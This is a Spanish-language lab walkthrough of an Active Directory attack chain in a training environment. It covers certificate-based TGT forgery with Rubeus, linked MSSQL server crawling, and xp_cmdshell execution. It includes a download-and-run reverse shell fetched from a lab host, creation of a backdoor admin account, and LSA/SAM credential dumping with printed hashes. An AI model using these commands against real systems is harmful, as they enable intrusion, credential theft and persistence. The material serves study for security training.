C:\AD\Tools\openssl>..\Rubeus.exe asktgt /user:moneycorp.local\administrator /certificate:esc1.pfx /password:SecretPass@123 /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.1 [*] Action: Ask TGT [*] Using PKINIT with etype rc4_hmac and subject: CN=student723, CN=Users, DC=dollarcorp, DC=moneycorp, DC=local [*] Building AS-REQ (w/ PKINIT preauth) for: 'moneycorp.local\administrator' [*] Using domain controller: 172.16.1.1:88 [+] TGT request successful! [*] base64(ticket.kirbi): doIGhjCCBoKgAwIBBaEDAgEWooIFjTCCBYlhggWFMIIFgaADAgEFoREbD01PTkVZQ09SUC5MT0NBTKIk MCKgAwIBAqEbMBkbBmtyYnRndBsPbW9uZXljb3JwLmxvY2Fso4IFPzCCBTugAwIBEqEDAgECooIFLQSC BSmlWJ65/ghif12KI68/aoOe7vTlK1AGUNTFYj6N44A4RHlMifyKT0od5Wbg1oxPYEYQkK24AJQN3KZS jnREK+yfOzUYneHZ8i1zOKwfnp1iWhL/j330Rdvv52VMa2A4T1VdjlyL5dq3mzb/OOCYVAY0KaAkQ+OF 3sfrnvmn2ERW90Bwa5fvrN/WOdFdsCN3sJJxsVomRjHAbcL8p91nbRLxQYaD6n92ftH7jyzCsnbLZFn5 2DmK43XcogQdRJvVlFEsP8NLhUCDEoiErEGlDGw6zNOkiKdKRSI7OGqkyBwphBjlUfjFowEt2UnzWsqY J7sF2Xn2j4jb5MD3/G1YfhPnWOGQPuCJWFI3G4GrNHatN04xTT7yNkKU5VsGwlZJwlSZE2NdVhms2NCi teMv8ojlbVrIj50uR/++/127f3mPlKCLE2xd14tb+GqSd7cp6fmMUi83al7CA2zlCqWOeMVn/If549um 9sGrKR3L5HPb26fclKZExkL8o35pNc/M4k7TdfP8i0lpYHYrPxpt5U9gK78KirNlpZjWmMQFtZepUe+X R+KMXhcbSs/HJV+U+wJW0xKO7Qpsku+MiECOacdJ14IqeDsbGfnbzEnHlhi3ZEl8JA07I+KXmheUc1eW F1YrtBXliYMF6RJbyxUXx5h1gkNYl/7WXZACHHIV7mUsxqoPV2ZA0SKI1nIBBP67YAu5fTf7hokaQykw rvd50w1oJaBTLy8WA4eqW1qsSCyn3TcueyjVzuIG3OIeMDEWH9Qf0xGbVQQmst6ecmHkXcQKxAwQRiuV 9Z2udJkxmghByOb0tv5MFnnNybBxsDH5Ob4MGKZ+ev1qBd5Wu3MkmD/8n6O/H22B44TVtw7XAjPwq8sy WTsXHbXNHAvUvDD7AyzutFCyL/pz55qUMueZznB6+4LPaMkuZcKFnaA+bMfgUGF0HeT+HnguLNTyi5y6 4Qij+4JsEEczqlkkn/2jHGQb8pc30bxpasCp7CV/QqXhX5qPKX8sc6WDq+9eY3pWUE5Bpij1gmFmi9H4 jUEDJAHnXbwgC/+LdP0mS+Tbbhv+mW8cWwVQzkIFNWYqCFIUZN6E7ZyfsNl7lldB5hOHkJZep1tcX5k5 zKv9v4uJgnCAdOxbJrXTPUQInYSgHo4+ChpfvibcUZWGhgfjWTiH4SCRfADFTRaG6Rs8hx9HRU5TvDwA y4YmlAnDeBMZ1k1s0uBiT7DZGfMAQ68mxWDJv8t8EvqQMaiSy00bVXRmmpXRmduzhxK4YWddLKB0P8cz 07ncbdO/6s81jS58nd6ZFbjE7EFuskeJcn5j8Gr1GKtev1ngx0/RoPvWR0IEHYmSPYKEBcpkVNbu2rUZ AHhnxgRUqQhIynHot0XoWkdQSDQmW3tmeAcQOCQM1m1aUQ4BOnE1PnuL+ZmQ12YMwO88HKJlukz9KW99 PlF7qGYM0mWc0X4PvBKDCm9XX7k0kD7IHQnSHqEnKWPDnvFF2qlqtQjqbwFa5rFe1blBzP3BdLPCbiPA JtEJ8XznvSElmYwxFT+Fct4jHdvTYkOOTHbrtTjPB+GYhgF/x+6IkGLlMiz0znOfiGYzAxKHVF+baM6i G2t5v4Gr+teCIYBPCj1L3+OOF73OI4PT8xbIYBuQ2Da2I8LQ7TDH9Y8Q8ljNFUueqlxfa0nad/fauAEE EIIhBld7ot0mXCs1WF5gSZmtnfkeypgih7x5Vsbgi52prfDjcNsPzMbJpNS/iaSKQmF5lscB1VOus3OZ m2wUo4HkMIHhoAMCAQCigdkEgdZ9gdMwgdCggc0wgcowgcegGzAZoAMCARehEgQQD823OEzUd0IXTF9r 1lhY+6ERGw9NT05FWUNPUlAuTE9DQUyiGjAYoAMCAQGhETAPGw1hZG1pbmlzdHJhdG9yowcDBQBA4QAA pREYDzIwMjQwMzA1MDQwNDAyWqYRGA8yMDI0MDMwNTE0MDQwMlqnERgPMjAyNDAzMTIwNDA0MDJaqBEb D01PTkVZQ09SUC5MT0NBTKkkMCKgAwIBAqEbMBkbBmtyYnRndBsPbW9uZXljb3JwLmxvY2Fs [+] Ticket successfully imported! ServiceName : krbtgt/moneycorp.local ServiceRealm : MONEYCORP.LOCAL UserName : administrator UserRealm : MONEYCORP.LOCAL StartTime : 3/4/2024 8:04:02 PM EndTime : 3/5/2024 6:04:02 AM RenewTill : 3/11/2024 9:04:02 PM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : D823OEzUd0IXTF9r1lhY+w== ASREP (key) : DF7BBA90E06746A441969FB932E61D62 C:\AD\Tools\openssl> ``` Validamos los accesos. ``` C:\AD\Tools\openssl>dir \\mcorp-dc\C$ Volume in drive \\mcorp-dc\C$ has no label. Volume Serial Number is 1A5A-FDE2 Directory of \\mcorp-dc\C$ 05/08/2021 12:20 AM PerfLogs 11/10/2022 09:53 PM Program Files 05/08/2021 01:40 AM Program Files (x86) 11/11/2022 06:33 AM Users 01/10/2024 01:35 AM Windows 0 File(s) 0 bytes 5 Dir(s) 11,941,588,992 bytes free ``` # Learning Objective - 22 ## MSSQL Servers Descubriendo SPNs. ``` PS C:\AD\Tools\PowerUpSQL-master> Get-SQLInstanceDomain ComputerName : dcorp-mgmt.dollarcorp.moneycorp.local Instance : dcorp-mgmt.dollarcorp.moneycorp.local,1433 DomainAccountSid : 15000005210001391322314218022427222724713123394400 DomainAccount : svcadmin DomainAccountCn : svc admin Service : MSSQLSvc Spn : MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local:1433 LastLogon : 1/10/2024 3:22 AM Description : Account to be used for services which need high privileges. ComputerName : dcorp-mgmt.dollarcorp.moneycorp.local Instance : dcorp-mgmt.dollarcorp.moneycorp.local DomainAccountSid : 15000005210001391322314218022427222724713123394400 DomainAccount : svcadmin DomainAccountCn : svc admin Service : MSSQLSvc Spn : MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local LastLogon : 1/10/2024 3:22 AM Description : Account to be used for services which need high privileges. ComputerName : dcorp-mssql.dollarcorp.moneycorp.local Instance : dcorp-mssql.dollarcorp.moneycorp.local,1433 DomainAccountSid : 15000005210001391322314218022427222724713123385400 DomainAccount : DCORP-MSSQL$ DomainAccountCn : DCORP-MSSQL Service : MSSQLSvc Spn : MSSQLSvc/dcorp-mssql.dollarcorp.moneycorp.local:1433 LastLogon : 3/5/2024 11:56 AM Description : ComputerName : dcorp-mssql.dollarcorp.moneycorp.local Instance : dcorp-mssql.dollarcorp.moneycorp.local DomainAccountSid : 15000005210001391322314218022427222724713123385400 DomainAccount : DCORP-MSSQL$ DomainAccountCn : DCORP-MSSQL Service : MSSQLSvc Spn : MSSQLSvc/dcorp-mssql.dollarcorp.moneycorp.local LastLogon : 3/5/2024 11:56 AM Description : ComputerName : dcorp-sql1.dollarcorp.moneycorp.local Instance : dcorp-sql1.dollarcorp.moneycorp.local,1433 DomainAccountSid : 15000005210001391322314218022427222724713123386400 DomainAccount : DCORP-SQL1$ DomainAccountCn : DCORP-SQL1 Service : MSSQLSvc Spn : MSSQLSvc/dcorp-sql1.dollarcorp.moneycorp.local:1433 LastLogon : 3/5/2024 11:56 AM Description : ComputerName : dcorp-sql1.dollarcorp.moneycorp.local Instance : dcorp-sql1.dollarcorp.moneycorp.local DomainAccountSid : 15000005210001391322314218022427222724713123386400 DomainAccount : DCORP-SQL1$ DomainAccountCn : DCORP-SQL1 Service : MSSQLSvc Spn : MSSQLSvc/dcorp-sql1.dollarcorp.moneycorp.local LastLogon : 3/5/2024 11:56 AM Description : ``` Verificando acceso a los servicios. ``` PS C:\AD\Tools\PowerUpSQL-master> Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose VERBOSE: Creating runspace pool and session states VERBOSE: dcorp-mgmt.dollarcorp.moneycorp.local : Connection Failed. VERBOSE: dcorp-mssql.dollarcorp.moneycorp.local,1433 : Connection Success. VERBOSE: dcorp-mssql.dollarcorp.moneycorp.local : Connection Success. VERBOSE: dcorp-mgmt.dollarcorp.moneycorp.local,1433 : Connection Failed. VERBOSE: dcorp-sql1.dollarcorp.moneycorp.local : Connection Failed. VERBOSE: dcorp-sql1.dollarcorp.moneycorp.local,1433 : Connection Failed. VERBOSE: DCORP-STD723 : Connection Failed. VERBOSE: Closing the runspace pool ComputerName Instance Status ------------ -------- ------ dcorp-mgmt.dollarcorp.moneycorp.local dcorp-mgmt.dollarcorp.moneycorp.local Not Accessible dcorp-mssql.dollarcorp.moneycorp.local dcorp-mssql.dollarcorp.moneycorp.local,1433 Accessible dcorp-mssql.dollarcorp.moneycorp.local dcorp-mssql.dollarcorp.moneycorp.local Accessible dcorp-mgmt.dollarcorp.moneycorp.local dcorp-mgmt.dollarcorp.moneycorp.local,1433 Not Accessible dcorp-sql1.dollarcorp.moneycorp.local dcorp-sql1.dollarcorp.moneycorp.local Not Accessible dcorp-sql1.dollarcorp.moneycorp.local dcorp-sql1.dollarcorp.moneycorp.local,1433 Not Accessible DCORP-STD723 DCORP-STD723 Not Accessible ``` Recolectamos informacion de los servicios a los cuales tenemos acceso. ``` PS C:\AD\Tools\PowerUpSQL-master> Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose VERBOSE: dcorp-mgmt.dollarcorp.moneycorp.local,1433 : Connection Failed. VERBOSE: dcorp-mgmt.dollarcorp.moneycorp.local : Connection Failed. VERBOSE: dcorp-mssql.dollarcorp.moneycorp.local,1433 : Connection Success. VERBOSE: dcorp-mssql.dollarcorp.moneycorp.local : Connection Success. VERBOSE: dcorp-sql1.dollarcorp.moneycorp.local,1433 : Connection Failed. VERBOSE: dcorp-sql1.dollarcorp.moneycorp.local : Connection Failed. ComputerName : dcorp-mssql.dollarcorp.moneycorp.local Instance : DCORP-MSSQL DomainName : dcorp ServiceProcessID : 1976 ServiceName : MSSQLSERVER ServiceAccount : NT AUTHORITY\NETWORKSERVICE AuthenticationMode : Windows and SQL Server Authentication ForcedEncryption : 0 Clustered : No SQLServerVersionNumber : 15.0.2000.5 SQLServerMajorVersion : 2019 SQLServerEdition : Developer Edition (64-bit) SQLServerServicePack : RTM OSArchitecture : X64 OsVersionNumber : SQL Currentlogin : dcorp\student723 IsSysadmin : No ActiveSessions : 1 ComputerName : dcorp-mssql.dollarcorp.moneycorp.local Instance : DCORP-MSSQL DomainName : dcorp ServiceProcessID : 1976 ServiceName : MSSQLSERVER ServiceAccount : NT AUTHORITY\NETWORKSERVICE AuthenticationMode : Windows and SQL Server Authentication ForcedEncryption : 0 Clustered : No SQLServerVersionNumber : 15.0.2000.5 SQLServerMajorVersion : 2019 SQLServerEdition : Developer Edition (64-bit) SQLServerServicePack : RTM OSArchitecture : X64 OsVersionNumber : SQL Currentlogin : dcorp\student723 IsSysadmin : No ActiveSessions : 1 ``` Buscando enlaces al un servicio remoto de MSSQL. ``` PS C:\AD\Tools\PowerUpSQL-master> Get-SQLServerLink -Instance dcorp-mssql -Verbose VERBOSE: dcorp-mssql : Connection Success. ComputerName : dcorp-mssql Instance : dcorp-mssql DatabaseLinkId : 0 DatabaseLinkName : DCORP-MSSQL DatabaseLinkLocation : Local Product : SQL Server Provider : SQLNCLI Catalog : LocalLogin : RemoteLoginName : is_rpc_out_enabled : True is_data_access_enabled : False modify_date : 11/14/2022 4:46:10 AM ComputerName : dcorp-mssql Instance : dcorp-mssql DatabaseLinkId : 1 DatabaseLinkName : DCORP-SQL1 DatabaseLinkLocation : Remote Product : SQL Server Provider : SQLNCLI Catalog : LocalLogin : RemoteLoginName : is_rpc_out_enabled : False is_data_access_enabled : True modify_date : 12/4/2022 5:16:19 AM ``` Enumerando enlaces de manera recursiva. ``` PS C:\AD\Tools\PowerUpSQL-master> Get-SQLServerLinkCrawl -Instance dcorp-mssql -Verbose VERBOSE: dcorp-mssql : Connection Success. VERBOSE: dcorp-mssql : Connection Success. VERBOSE: -------------------------------- VERBOSE: Server: DCORP-MSSQL VERBOSE: -------------------------------- VERBOSE: - Link Path to server: DCORP-MSSQL VERBOSE: - Link Login: dcorp\student723 VERBOSE: - Link IsSysAdmin: 0 VERBOSE: - Link Count: 1 VERBOSE: - Links on this server: DCORP-SQL1 VERBOSE: dcorp-mssql : Connection Success. VERBOSE: dcorp-mssql : Connection Success. VERBOSE: -------------------------------- VERBOSE: Server: DCORP-SQL1 VERBOSE: -------------------------------- VERBOSE: - Link Path to server: DCORP-MSSQL -> DCORP-SQL1 VERBOSE: - Link Login: dblinkuser VERBOSE: - Link IsSysAdmin: 0 VERBOSE: - Link Count: 1 VERBOSE: - Links on this server: DCORP-MGMT VERBOSE: dcorp-mssql : Connection Success. VERBOSE: dcorp-mssql : Connection Success. VERBOSE: -------------------------------- VERBOSE: Server: DCORP-MGMT VERBOSE: -------------------------------- VERBOSE: - Link Path to server: DCORP-MSSQL -> DCORP-SQL1 -> DCORP-MGMT VERBOSE: - Link Login: sqluser VERBOSE: - Link IsSysAdmin: 0 VERBOSE: - Link Count: 1 VERBOSE: - Links on this server: EU-SQL37.EU.EUROCORP.LOCAL VERBOSE: dcorp-mssql : Connection Success. VERBOSE: dcorp-mssql : Connection Success. VERBOSE: -------------------------------- VERBOSE: Server: EU-SQL37 VERBOSE: -------------------------------- VERBOSE: - Link Path to server: DCORP-MSSQL -> DCORP-SQL1 -> DCORP-MGMT -> EU-SQL37.EU.EUROCORP.LOCAL VERBOSE: - Link Login: sa VERBOSE: - Link IsSysAdmin: 1 VERBOSE: - Link Count: 0 VERBOSE: - Links on this server: Version : SQL Server 2019 Instance : DCORP-MSSQL CustomQuery : Sysadmin : 0 Path : {DCORP-MSSQL} User : dcorp\student723 Links : {DCORP-SQL1} Version : SQL Server 2019 Instance : DCORP-SQL1 CustomQuery : Sysadmin : 0 Path : {DCORP-MSSQL, DCORP-SQL1} User : dblinkuser Links : {DCORP-MGMT} Version : SQL Server 2019 Instance : DCORP-MGMT CustomQuery : Sysadmin : 0 Path : {DCORP-MSSQL, DCORP-SQL1, DCORP-MGMT} User : sqluser Links : {EU-SQL37.EU.EUROCORP.LOCAL} Version : SQL Server 2019 Instance : EU-SQL37 CustomQuery : Sysadmin : 1 Path : {DCORP-MSSQL, DCORP-SQL1, DCORP-MGMT, EU-SQL37.EU.EUROCORP.LOCAL} User : sa Links : ``` Luego ejecutamos comandos con el siguiente comando: {% code overflow="wrap" %} ``` PS C:\AD\Tools\PowerUpSQL-master> Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'whoami'" -QueryTarget eu-sql37 Version : SQL Server 2019 Instance : DCORP-MSSQL CustomQuery : Sysadmin : 0 Path : {DCORP-MSSQL} User : dcorp\student723 Links : {DCORP-SQL1} Version : SQL Server 2019 Instance : DCORP-SQL1 CustomQuery : Sysadmin : 0 Path : {DCORP-MSSQL, DCORP-SQL1} User : dblinkuser Links : {DCORP-MGMT} Version : SQL Server 2019 Instance : DCORP-MGMT CustomQuery : Sysadmin : 0 Path : {DCORP-MSSQL, DCORP-SQL1, DCORP-MGMT} User : sqluser Links : {EU-SQL37.EU.EUROCORP.LOCAL} Version : SQL Server 2019 Instance : EU-SQL37 CustomQuery : {nt authority\system, } Sysadmin : 1 Path : {DCORP-MSSQL, DCORP-SQL1, DCORP-MGMT, EU-SQL37.EU.EUROCORP.LOCAL} User : sa Links : ``` {% endcode %} Probamos desde el uso de powershell. {% code overflow="wrap" %} ``` PS C:\AD\Tools\PowerUpSQL-master> Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'powershell.exe -c ""whoami""'" -QueryTarget eu-sql37 Version : SQL Server 2019 Instance : DCORP-MSSQL CustomQuery : Sysadmin : 0 Path : {DCORP-MSSQL} User : dcorp\student723 Links : {DCORP-SQL1} Version : SQL Server 2019 Instance : DCORP-SQL1 CustomQuery : Sysadmin : 0 Path : {DCORP-MSSQL, DCORP-SQL1} User : dblinkuser Links : {DCORP-MGMT} Version : SQL Server 2019 Instance : DCORP-MGMT CustomQuery : Sysadmin : 0 Path : {DCORP-MSSQL, DCORP-SQL1, DCORP-MGMT} User : sqluser Links : {EU-SQL37.EU.EUROCORP.LOCAL} Version : SQL Server 2019 Instance : EU-SQL37 CustomQuery : {nt authority\system, } Sysadmin : 1 Path : {DCORP-MSSQL, DCORP-SQL1, DCORP-MGMT, EU-SQL37.EU.EUROCORP.LOCAL} User : sa Links : ``` {% endcode %} Luego Ejecutamos una reverse shell como ya lo hicimos antes pero esta vez usaremos otro metodo de descarga por powershell. {% code overflow="wrap" %} ``` PS C:\AD\Tools\PowerUpSQL-master> Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'powershell.exe -c ""iex (iwr -UseBasicParsing http://172.16.100.23:8080/Invoke-PowerShellTcp.ps1)""'" -QueryTarget eu-sql37 Version : SQL Server 2019 Instance : DCORP-MSSQL CustomQuery : Sysadmin : 0 Path : {DCORP-MSSQL} User : dcorp\student723 Links : {DCORP-SQL1} Version : SQL Server 2019 Instance : DCORP-SQL1 CustomQuery : Sysadmin : 0 Path : {DCORP-MSSQL, DCORP-SQL1} User : dblinkuser Links : {DCORP-MGMT} Version : SQL Server 2019 Instance : DCORP-MGMT CustomQuery : Sysadmin : 0 Path : {DCORP-MSSQL, DCORP-SQL1, DCORP-MGMT} User : sqluser Links : {EU-SQL37.EU.EUROCORP.LOCAL} Version : SQL Server 2019 Instance : EU-SQL37 CustomQuery : Sysadmin : 1 Path : {DCORP-MSSQL, DCORP-SQL1, DCORP-MGMT, EU-SQL37.EU.EUROCORP.LOCAL} User : sa Links : ``` {% endcode %} En nuestra otra terminal escuchamos en el puerto seteado y obtenemos shell. ``` C:\AD\Tools\netcat-win32-1.12>.\nc.exe -lvp 6969 listening on [any] 6969 ... 172.16.15.17: inverse host lookup failed: h_errno 11004: NO_DATA connect to [172.16.100.23] from (UNKNOWN) [172.16.15.17] 56047: NO_DATA Windows PowerShell running as user SYSTEM on EU-SQL37 Copyright (C) 2015 Microsoft Corporation. All rights reserved. PS C:\Windows\system32>whoami nt authority\system PS C:\Windows\system32> hostname eu-sql37 PS C:\Windows\system32> ``` Ahora intentaremos ver la informacion del dominio actual. ``` PS C:\> Invoke-WebRequest -Uri "http://172.16.100.23:8080/PowerView.ps1" -OutFile "PowerView.ps1" PS C:\> ls Directory: C:\ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 5/8/2021 1:15 AM PerfLogs d-r--- 11/14/2022 7:42 PM Program Files d----- 11/14/2022 7:41 PM Program Files (x86) d-r--- 11/15/2022 1:49 AM Users d----- 1/10/2024 5:38 AM Windows -a---- 3/6/2024 6:11 AM 924339 PowerView.ps1 PS C:\> . .\PowerView.ps1 PS C:\> Get-DomainComputer | select samaccountname samaccountname -------------- EU-DC$ EU-SQL37$ PS C:\> Get-DomainUser | select samaccountname samaccountname -------------- Administrator Guest krbtgt dbadmin PS C:\> Get-DomainTrust SourceName : eu.eurocorp.local TargetName : eurocorp.local TrustType : WINDOWS_ACTIVE_DIRECTORY TrustAttributes : WITHIN_FOREST TrustDirection : Bidirectional WhenCreated : 11/12/2022 5:49:08 AM WhenChanged : 2/20/2024 7:48:15 AM PS C:\> Get-Forest RootDomainSid : S-1-5-21-3333069040-3914854601-3606488808 Name : eurocorp.local Sites : {Default-First-Site-Name} Domains : {eurocorp.local, eu.eurocorp.local} GlobalCatalogs : {eurocorp-dc.eurocorp.local, eu-dc.eu.eurocorp.local} ApplicationPartitions : {DC=ForestDnsZones,DC=eurocorp,DC=local, DC=DomainDnsZones,DC=eu,DC=eurocorp,DC=local, DC=DomainDnsZones,DC=eurocorp,DC=local} ForestModeLevel : 7 ForestMode : Unknown RootDomain : eurocorp.local Schema : CN=Schema,CN=Configuration,DC=eurocorp,DC=local SchemaRoleOwner : eurocorp-dc.eurocorp.local NamingRoleOwner : eurocorp-dc.eurocorp.local PS C:\> Get-DomainComputer -Domain eurocorp.local | select samaccountname samaccountname -------------- EUROCORP-DC$ PS C:\> Get-DomainUser -Domain eurocorp.local | select samaccountname samaccountname -------------- Administrator Guest krbtgt PS C:\> Get-DomainTrust -Domain eurocorp.local SourceName : eurocorp.local TargetName : eu.eurocorp.local TrustType : WINDOWS_ACTIVE_DIRECTORY TrustAttributes : WITHIN_FOREST TrustDirection : Bidirectional WhenCreated : 11/12/2022 5:49:08 AM WhenChanged : 2/20/2024 7:48:14 AM SourceName : eurocorp.local TargetName : dollarcorp.moneycorp.local TrustType : WINDOWS_ACTIVE_DIRECTORY TrustAttributes : FILTER_SIDS TrustDirection : Bidirectional WhenCreated : 11/12/2022 8:15:23 AM WhenChanged : 2/20/2024 7:50:52 AM ``` Tambien verificamos que tenemos acceso al computador desde nuestro PC. ``` PS C:\AD\Tools\PowerUpSQL-master> nslookup EU-SQL37.EU.EUROCORP.LOCAL Server: UnKnown Address: 172.16.2.1 Non-authoritative answer: Name: EU-SQL37.EU.EUROCORP.LOCAL Address: 172.16.15.17 PS C:\AD\Tools\PowerUpSQL-master> ping 172.16.15.17 Pinging 172.16.15.17 with 32 bytes of data: Reply from 172.16.15.17: bytes=32 time=5ms TTL=127 Reply from 172.16.15.17: bytes=32 time=4ms TTL=127 Ping statistics for 172.16.15.17: Packets: Sent = 2, Received = 2, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 4ms, Maximum = 5ms, Average = 4ms ``` Haciendo persistencia media mañosa XD ``` PS C:\Windows\system32> net user bombitaeu Password123! /add The command completed successfully. PS C:\Windows\system32> net localgroup administrators bombitaeu /add The command completed successfully. PS C:\Windows\system32> net user bombitaeu User name bombitaeu Full Name Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 3/6/2024 6:34:21 AM Password expires 4/17/2024 6:34:21 AM Password changeable 3/7/2024 6:34:21 AM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon Never Logon hours allowed All Local Group Memberships *Administrators *Users Global Group memberships *None The command completed successfully. PS C:\Windows\system32> ``` Dumpeamos lo que podamos. ``` crackmapexec smb 172.16.15.17 -u 'bombitaeu' -p 'Password123!' -d '.' --lsa SMB 172.16.15.17 445 EU-SQL37 [*] Windows 10.0 Build 20348 x64 (name:EU-SQL37) (domain:.) (signing:False) (SMBv1:False) SMB 172.16.15.17 445 EU-SQL37 [+] .\bombitaeu:Password123! (Pwn3d!) SMB 172.16.15.17 445 EU-SQL37 [+] Dumping LSA secrets SMB 172.16.15.17 445 EU-SQL37 EU.EUROCORP.LOCAL/dbadmin:$DCC2$10240#dbadmin#e1dfb4e157d2d93cbad84aa6337579ab SMB 172.16.15.17 445 EU-SQL37 EU\EU-SQL37$:aes256-cts-hmac-sha1-96:b99144ff967bbd816cd8e023b085a946f6da5c5c6257ff259fd9ff97864a25cc SMB 172.16.15.17 445 EU-SQL37 EU\EU-SQL37$:aes128-cts-hmac-sha1-96:2ac9e69575c067f8e98d34d42cab4499 SMB 172.16.15.17 445 EU-SQL37 EU\EU-SQL37$:des-cbc-md5:34046275fe61bf20 SMB 172.16.15.17 445 EU-SQL37 EU\EU-SQL37$:plain_password_hex:30002b00430038005a00550042004a00730045004b002400710071004e0070002300790058003c0074005200580071005d00720065003300280036005700720030005c0024003a0078002d00500078005e0030002e004c006600290069006c0034002900270047005200390020006100210037003e003900600061005f004a0020002400590029004b007a00570075005b006c004100240070005200290043006a004c006500750058004000250037005c003900620077003c00370021006d004400550040003a005400570042005300710068003b00480041002c00310037002f004f007a005f0035006f0069003900 SMB 172.16.15.17 445 EU-SQL37 EU\EU-SQL37$:aad3b435b51404eeaad3b435b51404ee:7e830858b5092628bd7b8a5d48e4b23b::: SMB 172.16.15.17 445 EU-SQL37 dpapi_machinekey:0xe4ed1312a345ef13927866ae066c3aa659d23ed5 dpapi_userkey:0x66b30ebfe4c144d1df515aec7b43e7c05d91c0bb SMB 172.16.15.17 445 EU-SQL37 NL$KM:09c87bc296416ecbb2f61bdc295c39767ea62297dcd3be6bc3714871616bb2b3d0d6e048f08b7d8b8b149505b421fe93285147f12624b5f4e420b6ace5903302 SMB 172.16.15.17 445 EU-SQL37 [+] Dumped 8 LSA secrets to /home/dsds/.cme/logs/EU-SQL37_172.16.15.17_2024-03-06_093844.secrets and /home/dsds/.cme/logs/EU-SQL37_172.16.15.17_2024-03-06_093844.cached ``` ``` impacket-secretsdump 'bombitaeu@172.16.15.17' Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation Password: [*] Target system bootKey: 0x5522f4ec06d0bf5dac89558b5e57206e [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:cdcfd73ba273d2b6ab67f1fecd83e88e::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: bombitaeu:1001:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe::: [*] Dumping cached domain logon information (domain/username:hash) EU.EUROCORP.LOCAL/dbadmin:$DCC2$10240#dbadmin#e1dfb4e157d2d93cbad84aa6337579ab [*] Dumping LSA Secrets [*] $MACHINE.ACC EU\EU-SQL37$:aes256-cts-hmac-sha1-96:b99144ff967bbd816cd8e023b085a946f6da5c5c6257ff259fd9ff97864a25cc EU\EU-SQL37$:aes128-cts-hmac-sha1-96:2ac9e69575c067f8e98d34d42cab4499 EU\EU-SQL37$:des-cbc-md5:34046275fe61bf20 EU\EU-SQL37$:plain_password_hex:30002b00430038005a00550042004a00730045004b002400710071004e0070002300790058003c0074005200580071005d00720065003300280036005700720030005c0024003a0078002d00500078005e0030002e004c006600290069006c0034002900270047005200390020006100210037003e003900600061005f004a0020002400590029004b007a00570075005b006c004100240070005200290043006a004c006500750058004000250037005c003900620077003c00370021006d004400550040003a005400570042005300710068003b00480041002c00310037002f004f007a005f0035006f0069003900 EU\EU-SQL37$:aad3b435b51404eeaad3b435b51404ee:7e830858b5092628bd7b8a5d48e4b23b::: [*] DPAPI_SYSTEM dpapi_machinekey:0xe4ed1312a345ef13927866ae066c3aa659d23ed5 dpapi_userkey:0x66b30ebfe4c144d1df515aec7b43e7c05d91c0bb [*] NL$KM 0000 09 C8 7B C2 96 41 6E CB B2 F6 1B DC 29 5C 39 76 ..{..An.....)\9v 0010 7E A6 22 97 DC D3 BE 6B C3 71 48 71 61 6B B2 B3 ~."....k.qHqak.. 0020 D0 D6 E0 48 F0 8B 7D 8B 8B 14 95 05 B4 21 FE 93 ...H..}......!.. 0030 28 51 47 F1 26 24 B5 F4 E4 20 B6 AC E5 90 33 02 (QG.&$... ....3. NL$KM:09c87bc296416ecbb2f61bdc295c39767ea62297dcd3be6bc3714871616bb2b3d0d6e048f08b7d8b8b149505b421fe93285147f12624b5f4e420b6ace5903302 [*] Cleaning up... ``` ## Consultando mediante consultas SQL directamente Como esta fallando, realizaremos las pruebas desde SQL.
Segundo salto.
Tercer salto.
Ejecutando comandos. {% code overflow="wrap" %} ``` select * from openquery("dcorp-sql1",'select * from openquery("dcorp-mgmt",''select * from openquery("eu-sql37.eu.eurocorp.local",''''select @@version as version;exec master..xp_cmdshell "mkdir C:\test"'''')'')') ``` {% endcode %}
Luego podemos ver que el directorio test si a sido creado. ``` PS C:\> ls Directory: C:\ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 5/8/2021 1:15 AM PerfLogs d-r--- 11/14/2022 7:42 PM Program Files d----- 11/14/2022 7:41 PM Program Files (x86) d----- 3/6/2024 7:18 AM test d-r--- 11/15/2022 1:49 AM Users d----- 1/10/2024 5:38 AM Windows -a---- 3/6/2024 6:11 AM 924339 PowerView.ps1 ```